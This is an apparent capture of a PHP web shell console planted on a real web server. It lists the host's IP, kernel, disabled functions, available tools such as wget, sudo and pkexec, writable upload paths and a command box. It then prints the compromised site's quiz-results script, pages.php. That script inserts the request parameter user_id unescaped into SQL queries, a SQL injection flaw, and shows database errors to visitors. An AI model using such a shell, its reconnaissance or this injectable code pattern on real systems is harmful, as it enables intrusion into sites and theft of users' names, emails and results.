X3ND1 GANTENG
Server IP : 108.163.255.210  /  Your IP : 3.144.18.59
Web Server : Apache
System : Linux blossom.urlnameserver.com 3.10.0-1160.80.1.el7.x86_64 #1 SMP Tue Nov 8 15:48:59 UTC 2022 x86_64
User :  ( 1172)
PHP Version : 7.2.34
Disable Function : eval,escapeshellarg,proc_close,proc_get_status,proc_nice,proc_open,symlink,system,pcntl_exec,getrusage,chown,chgp,closelog,openlog,syslog,define_syslog_variables,php_ini_loaded_file,getservbyname,getservbyport,posix_getgid,posix_getgrgid,proc_terminate,pfsockopen,apache_child_terminate,posix_mkfifo,posix_setpgid,posix_setuid,hypot,pg_host,pos,posix_access,posix_getcwd,posix_getservbyname,myshellexec,getpid,posix_getsid,posix_isatty,posix_kill,posix_mknod,posix_setgid,posix_setsid,posix_setuid,posix_times,posix_uname,ps_fill,posix_getpwuid,global,ini_restore,zip_open,zip_read,rar_open,bzopen,bzread,bzwrite,apache_get_modules,apache_get_version,phpversionphpinfo,php_ini_scanned_files,get_current_user,disk_total_space,diskfreespace,leak,imap_list,hypo,filedump,safe_mode,getmygid,apache_getenv,apache_setenv,bzread,bzwrite,bzopen,phpini,higlight_file,dos_conv,get_cwd,er_log,cmd,e_name,vdir,get_dir,only_read,ftok,ftpexec,posix_getpwnam,mysql_list_dbs,disk_free_space,session_save_path,confirm_phpdoc_compiled,zip_entry_rea,php_u,psockopen,crack_opendict,crack_getlastmessage,crack_closedict,crack_check,fpassthru,posix_get_last_error,posix_getlogin,posix_getgroups,posix_strerror,posix_getrlimit,posix_getpgrp,posix_getgrnam,pos,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/unilinki/www/shop/test/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ BERANDA ]     

Current File : /home/unilinki/www/shop/test/pages.php
<?php
session_start();
require_once('Connections/kbbwebsite.php');
ini_set("display_errors","1");

ini_set("display_startup_errors","1");
ini_set('max_execution_time', '600');
header("Expires: Thu, 01 Jan 1970 00:00:01 GMT"); 
$f1=0;
$f2=0;
$f3=0;
$f4=0;
$f5=0;
$uid=$_REQUEST['user_id'];

?>
<!DOCTYPE html>
<html lang="en">

  <head>

    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
    <meta name="description" content="">
    <meta name="author" content="">
	</head>
	<body>
<table border=1 width="100%">
<tr><th>ID</th><th>Date</th><th>Quiz</th><th>User ID</th><th>Name</th><th>Email</th><th>Marks Obtained</th><th>f1</th><th>f2</th><th>f3</th><th>f4</th><th>f5</th></tr>

<?php
	$query_findcategories1 = "SELECT * FROM quizresults where user_id ='$uid'";
	$findcategories1 = mysqli_query($kbbwebsite ,$query_findcategories1) or die(mysqli_error());
	 
while($row1 = mysqli_fetch_assoc($findcategories1))
  {
$f1=0;
$f2=0;
$f3=0;
$f4=0;
$f5=0;
 $id= $row1["id"]; 
 $quiz_id= $row1["quiz_id"]; 
 $user_id= $row1["user_id"]; 
 $marks_obtained= $row1["marks_obtained"]; 
 $caq = json_decode($row1["correct_answer_questions"]);
 $waq = explode(" , ",$row1["wrong_answer_questions"]);
 $created_at= $row1["created_at"]; 


	 $query = "SELECT * FROM users where id='". $user_id."'";
	$result = mysqli_query($kbbwebsite ,$query) or die(mysqli_error());
 while($row2 = mysqli_fetch_assoc($result))
  {

$name=$row2["name"];
$email=$row2["email"];
  }


 $query = "SELECT * FROM quizzes where id='". $quiz_id."'";
	$result = mysqli_query($kbbwebsite ,$query) or die(mysqli_error());
 while($row3 = mysqli_fetch_assoc($result))
  {

$quiz_title=$row3["title"];

  }  
  

if ($quiz_id==74)
{
	for($i=0;$i<count($caq) ;$i++)
	{
	   
		if ( $caq[$i] == '17978' ||$caq[$i] == '17979' ||$caq[$i] == '17980' ||$caq[$i] == '17981' ||$caq[$i] == '17982')
		{
			$f1 += 1;
		}
		if ( $caq[$i] == '17983' ||$caq[$i] == '17984' ||$caq[$i] == '17985' ||$caq[$i] == '17986' ||$caq[$i] == '17987')
		{
			$f2 += 1;
		}
		if ( $caq[$i] == '17963' ||$caq[$i] == '17964' ||$caq[$i] == '17965' ||$caq[$i] == '17966' ||$caq[$i] == '17967')
		{
			$f3 += 1;
		}
		if ( $caq[$i] == '17968' ||$caq[$i] == '17969' ||$caq[$i] == '17970' ||$caq[$i] == '17971' ||$caq[$i] == '17972')
		{
			$f4 += 1;
		}
		if ( $caq[$i] == '17973' ||$caq[$i] == '17974' ||$caq[$i] == '17975' ||$caq[$i] == '17976' ||$caq[$i] == '17977')
		{
			$f5 += 1;
		}
	}
}


	
if ($quiz_id==76)
{
   
	for($i=0;$i<count($caq);$i++)
	{
		if ( $caq[$i] == '17913' ||$caq[$i] == '17914' ||$caq[$i] == '17915' ||$caq[$i] == '17916' ||$caq[$i] == '17917')
		{
			$f1 += 1;
			
		}
		if ( $caq[$i] == '17918' ||$caq[$i] == '17919' ||$caq[$i] == '17920' ||$caq[$i] == '17921' ||$caq[$i] == '17922')
		{
			$f2 += 1;
		}
		if ( $caq[$i] == '17923' ||$caq[$i] == '17924' ||$caq [$i]== '17925' ||$caq[$i] == '17926' ||$caq [$i]== '17927')
		{
			$f3 += 1;
		}
		if ( $caq[$i] == '17928' ||$caq[$i] == '17929' ||$caq[$i] == '17930' ||$caq[$i] == '17931' ||$caq[$i] == '17932')
		{
			$f4 += 1;
		}
		if ( $caq[$i] == '17933' ||$caq[$i] == '17934' ||$caq[$i] == '17935' ||$caq[$i] == '17936' ||$caq[$i]== '17937')
		{
			$f5 += 1;
		}
	}
}


if ($quiz_id==77)
{
   
	for($i=0;$i<count($caq);$i++)
	{
		if ( $caq[$i] == '17938' ||$caq[$i] == '17939' ||$caq[$i] == '17940' ||$caq[$i] == '17941' ||$caq[$i] == '17942')
		{
			$f1 += 1;
			
		}
		if ( $caq[$i] == '17943' ||$caq[$i] == '17944' ||$caq [$i]== '17945' ||$caq[$i] == '17946' ||$caq [$i]== '17947')
		{
			$f2 += 1;
		}
		if ( $caq[$i] == '17948' ||$caq[$i] == '17949' ||$caq[$i] == '17950' ||$caq[$i] == '17951' ||$caq[$i] == '17952')
		{
			$f3 += 1;
		}
		if ( $caq[$i] == '17953' ||$caq[$i] == '17954' ||$caq[$i] == '17955' ||$caq[$i] == '17956' ||$caq[$i]== '17957')
		{
			$f4 += 1;
		}
		if ( $caq[$i] == '17958' ||$caq[$i] == '17959' ||$caq[$i] == '17960' ||$caq[$i] == '17961' ||$caq[$i] == '17962')
		{
			$f5 += 1;
		}
	}
}

if ($quiz_id==75)
{
   
	for($i=0;$i<count($caq);$i++)
	{
		if ( $caq[$i] == '17988' ||$caq[$i] == '17989' ||$caq[$i] == '17990' ||$caq[$i] == '17991' ||$caq[$i] == '17992')
		{
			$f1 += 1;
			
		}
		if ( $caq[$i] == '17993' ||$caq[$i] == '17994' ||$caq [$i]== '17995' ||$caq[$i] == '17996' ||$caq [$i]== '17997')
		{
			$f2 += 1;
		}
		if ( $caq[$i] == '17998' ||$caq[$i] == '17999' ||$caq[$i] == '18000' ||$caq[$i] == '18001' ||$caq[$i] == '18002')
		{
			$f3 += 1;
		}
		if ( $caq[$i] == '18003' ||$caq[$i] == '18004' ||$caq[$i] == '18005' ||$caq[$i] == '18006' ||$caq[$i]== '18007')
		{
			$f4 += 1;
		}
		if ( $caq[$i] == '18008' ||$caq[$i] == '18009' ||$caq[$i] == '18010' ||$caq[$i] == '18011' ||$caq[$i] == '18012')
		{
			$f5 += 1;
		}
	}
	
}	
	
if ($quiz_id==87)
{
   
	for($i=0;$i<count($caq);$i++)
	{
		if ( $caq[$i] == '17913' ||$caq[$i] == '17914' ||$caq[$i] == '17915' ||$caq[$i] == '17916' ||$caq[$i] == '17917' || $caq[$i] == '17938' ||$caq[$i] == '17939' ||$caq[$i] == '17940' ||$caq[$i] == '17941' ||$caq[$i] == '17942')
		{
			$f1 += 1;
			
		}
		
		
		if ( $caq[$i] == '17918' ||$caq[$i] == '17919' ||$caq[$i] == '17920' ||$caq[$i] == '17921' ||$caq[$i] == '17922' ||  $caq[$i] == '17943' ||$caq[$i] == '17944' ||$caq [$i]== '17945' ||$caq[$i] == '17946' ||$caq [$i]== '17947')
		{
			$f2 += 1;
		}
		if ( $caq[$i] == '17923' ||$caq[$i] == '17924' ||$caq [$i]== '17925' ||$caq[$i] == '17926' ||$caq [$i]== '17927' ||$caq[$i] == '17948' ||$caq[$i] == '17949' ||$caq[$i] == '17950' ||$caq[$i] == '17951' ||$caq[$i] == '17952')
		{
			$f3 += 1;
		}
		if ( $caq[$i] == '17928' ||$caq[$i] == '17929' ||$caq[$i] == '17930' ||$caq[$i] == '17931' ||$caq[$i] == '17932' || $caq[$i] == '17953' ||$caq[$i] == '17954' ||$caq[$i] == '17955' ||$caq[$i] == '17956' ||$caq[$i]== '17957')
		{
			$f4 += 1;
		}
		if ( $caq[$i] == '17933' ||$caq[$i] == '17934' ||$caq[$i] == '17935' ||$caq[$i] == '17936' ||$caq[$i]== '17937' ||  $caq[$i] == '17958' ||$caq[$i] == '17959' ||$caq[$i] == '17960' ||$caq[$i] == '17961' ||$caq[$i] == '17962')
		{
			$f5 += 1;
		}
		
		if( $f1 >=5 )
		{
		  $f1=5;  
		}
		if( $f2 >=5 )
		{
		  $f2=5;  
		}
		
		if( $f3 >=5 )
		{
		  $f3=5;  
		}
		if( $f4 >=5 )
		{
		  $f4=5;  
		}
		if( $f5 >=5 )
		{
		  $f5=5;  
		}
	}
	
	
	
	
	
}
?>
<tr><td><?php echo $id; ?></td><td> <?php echo $created_at; ?></td><td><?php echo $quiz_title; ?></td><td><?php echo $user_id; ?></td><td><?php echo $name; ?></td><td><?php echo $email; ?></td><td><?php echo $marks_obtained; ?></td><td width="50px"><?php echo $f1*6; ?></td><td width="50px"><?php echo $f2*7; ?></td><td width="50px"><?php echo $f3*3; ?></td><td width="50px"><?php echo $f4*2; ?></td><td width="50px"><?php echo $f5*2; ?></td></tr>	

<?php 
}
?>
</table>

<!-- 
  
$sql = "UPDATE sheet1 SET City='".$id."',lat='".$lat."',lon='".$lon."' WHERE City='". $city."'"; 
	if(mysqli_query($link, $sql)){ 
    echo "Record was updated successfully."; 
} else { 
    echo "ERROR: Could not able to execute $sql. "  
                            . mysqli_error($link); 
}
-->			
             
</body>
</html>

Anon7 - 2022
SCDN GOK